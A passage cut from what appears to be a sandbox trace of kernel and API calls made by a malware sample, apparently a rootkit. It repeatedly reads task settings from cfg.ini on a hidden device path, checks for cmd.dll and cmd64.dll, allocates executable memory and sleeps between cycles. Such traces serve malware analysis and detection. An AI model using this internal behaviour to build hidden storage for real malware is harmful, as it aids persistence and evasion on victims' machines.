KeEnterCriticalRegion () [0129.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] ExFreePoolWithTag (P=0xfffffa8003c08cc0, Tag=0x0) [0129.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.898] KeLeaveCriticalRegion () [0129.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.898] ReleaseMutex (hMutex=0xf0) returned 1 [0129.898] Sleep (dwMilliseconds=0x927c0) [0129.912] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.912] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.912] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.912] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.912] KeEnterCriticalRegion () [0129.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.912] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.912] IdePortDispatch () returned 0x103 [0129.912] KeWaitForMutexObject () returned 0x0 [0129.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.912] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.912] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.913] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.913] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07f60 [0129.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] KeLeaveCriticalRegion () [0129.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.913] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.913] KeEnterCriticalRegion () [0129.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] KeLeaveCriticalRegion () [0129.913] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.913] KeEnterCriticalRegion () [0129.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.913] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.913] IdePortDispatch () returned 0x103 [0129.913] KeWaitForMutexObject () returned 0x0 [0129.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] KeLeaveCriticalRegion () [0129.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.913] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.913] KeEnterCriticalRegion () [0129.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf1000 [0129.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.913] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.913] IdePortDispatch () returned 0x103 [0129.913] KeWaitForMutexObject () returned 0x0 [0129.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.914] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.914] IdePortDispatch () returned 0x103 [0129.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.914] KeLeaveCriticalRegion () [0129.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.914] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.914] KeEnterCriticalRegion () [0129.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] KeLeaveCriticalRegion () [0129.915] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.915] KeEnterCriticalRegion () [0129.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.915] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] KeLeaveCriticalRegion () [0129.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.915] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.915] KeEnterCriticalRegion () [0129.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] ExFreePoolWithTag (P=0xfffffa8003c07f60, Tag=0x0) [0129.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.915] KeLeaveCriticalRegion () [0129.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.915] ReleaseMutex (hMutex=0xf0) returned 1 [0129.915] Sleep (dwMilliseconds=0x927c0) [0129.932] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.932] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.932] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.932] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.932] KeEnterCriticalRegion () [0129.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.932] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.932] IdePortDispatch () returned 0x103 [0129.932] KeWaitForMutexObject () returned 0x0 [0129.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.933] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.933] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.933] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.933] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.933] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07230 [0129.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.933] KeLeaveCriticalRegion () [0129.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.933] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.933] KeEnterCriticalRegion () [0129.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.933] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.933] KeLeaveCriticalRegion () [0129.933] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.933] KeEnterCriticalRegion () [0129.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.933] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.933] IdePortDispatch () returned 0x103 [0129.933] KeWaitForMutexObject () returned 0x0 [0129.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.933] KeLeaveCriticalRegion () [0129.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.933] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.934] KeEnterCriticalRegion () [0129.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf6000 [0129.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.934] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.934] IdePortDispatch () returned 0x103 [0129.934] KeWaitForMutexObject () returned 0x0 [0129.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.934] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.934] IdePortDispatch () returned 0x103 [0129.934] KeWaitForMutexObject () returned 0x0 [0129.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.934] KeLeaveCriticalRegion () [0129.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.935] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.935] KeEnterCriticalRegion () [0129.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] KeLeaveCriticalRegion () [0129.935] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.935] KeEnterCriticalRegion () [0129.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.935] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] KeLeaveCriticalRegion () [0129.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.935] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.935] KeEnterCriticalRegion () [0129.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] ExFreePoolWithTag (P=0xfffffa8003c07230, Tag=0x0) [0129.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.935] KeLeaveCriticalRegion () [0129.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.935] ReleaseMutex (hMutex=0xf0) returned 1 [0129.935] Sleep (dwMilliseconds=0x927c0) [0129.950] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.950] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.950] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.950] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.950] KeEnterCriticalRegion () [0129.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.950] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.950] IdePortDispatch () returned 0x103 [0129.950] KeWaitForMutexObject () returned 0x0 [0129.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.950] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.950] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.950] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.950] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.950] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfdd30 [0129.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.950] KeLeaveCriticalRegion () [0129.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.950] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.951] KeEnterCriticalRegion () [0129.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.951] KeLeaveCriticalRegion () [0129.951] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.951] KeEnterCriticalRegion () [0129.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.951] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.951] IdePortDispatch () returned 0x103 [0129.951] KeWaitForMutexObject () returned 0x0 [0129.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.951] KeLeaveCriticalRegion () [0129.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.951] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.951] KeEnterCriticalRegion () [0129.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.951] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfb000 [0129.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.951] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.951] IdePortDispatch () returned 0x103 [0129.952] KeWaitForMutexObject () returned 0x0 [0129.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.952] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.952] IdePortDispatch () returned 0x103 [0129.952] KeWaitForMutexObject () returned 0x0 [0129.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.952] KeLeaveCriticalRegion () [0129.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.952] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.952] KeEnterCriticalRegion () [0129.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] KeLeaveCriticalRegion () [0129.953] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.953] KeEnterCriticalRegion () [0129.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.953] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] KeLeaveCriticalRegion () [0129.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.953] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.953] KeEnterCriticalRegion () [0129.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] ExFreePoolWithTag (P=0xfffffa8003bfdd30, Tag=0x0) [0129.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.953] KeLeaveCriticalRegion () [0129.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.953] ReleaseMutex (hMutex=0xf0) returned 1 [0129.953] Sleep (dwMilliseconds=0x927c0) [0129.967] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.967] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.967] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.967] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.967] KeEnterCriticalRegion () [0129.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.967] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.967] IdePortDispatch () returned 0x103 [0129.967] KeWaitForMutexObject () returned 0x0 [0129.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.968] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.968] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.968] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.968] FsRtlInitializeFileLock 